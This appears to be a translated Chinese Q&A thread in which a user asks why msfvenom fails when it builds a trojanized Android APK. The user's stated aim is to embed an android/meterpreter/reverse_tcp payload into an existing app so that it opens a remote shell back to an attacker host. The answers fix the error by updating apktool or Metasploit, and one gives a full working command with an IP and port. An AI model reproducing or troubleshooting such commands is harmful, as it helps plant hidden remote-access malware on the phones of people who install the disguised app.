metasploit:选择dalvik作为体系结构时格式错误的版本号字符串

时间:2016-07-14 03:52:16

标签: android metasploit

我正在尝试使用metasploit为Android创建一个Trojan apk,这是我正在使用的命令:

msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk

我收到了这个错误:

Error: Malformed version number string  10:55:45 up  1:23,  1 user,  load average: 0.62, 0.54, 0.39
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user123  tty7     :0               09:32    1:23m  1:10   0.13s /sbin/upstart --user
2.0.2-dirty

然后我尝试选择不同的架构,例如的java:

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk

它起作用了(生成了一些Out.apk)。所以看起来Malformed version number string错误只会在选择dalvik作为架构时发生,任何想法为什么会发生这种情况以及如何解决它?

我在VirtualBox上的Ubuntu上做这个,它是从Mac运行的。任何帮助将不胜感激,谢谢!

3 个答案:

答案 0 :(得分:0)

致记:

https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/

有同样的问题,但我试图运行一个更简单的代码版本(显然可行)。在论坛中搜索后,原来是apktool的问题。我使用sudo apt-get install apktool下载了apktool,但该版本无法正常工作。

使用sudo apt-get remove apktool删除后,我从网站上下载了最新版本,但它确实有效。

我知道这是一年,但我一直在寻找好几天。希望它有所帮助......某人。

答案 1 :(得分:0)

我和msfvenom有同样的问题。尝试运行“msfupdate”,它将下载70 mib包,它将解决您的问题。

答案 2 :(得分:0)

您只需要遵循以下语法:

EX:

rmsfvenom -a java --platform android -x z.apk -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -o o.apk

同样,如果您使用-o也不需要'R'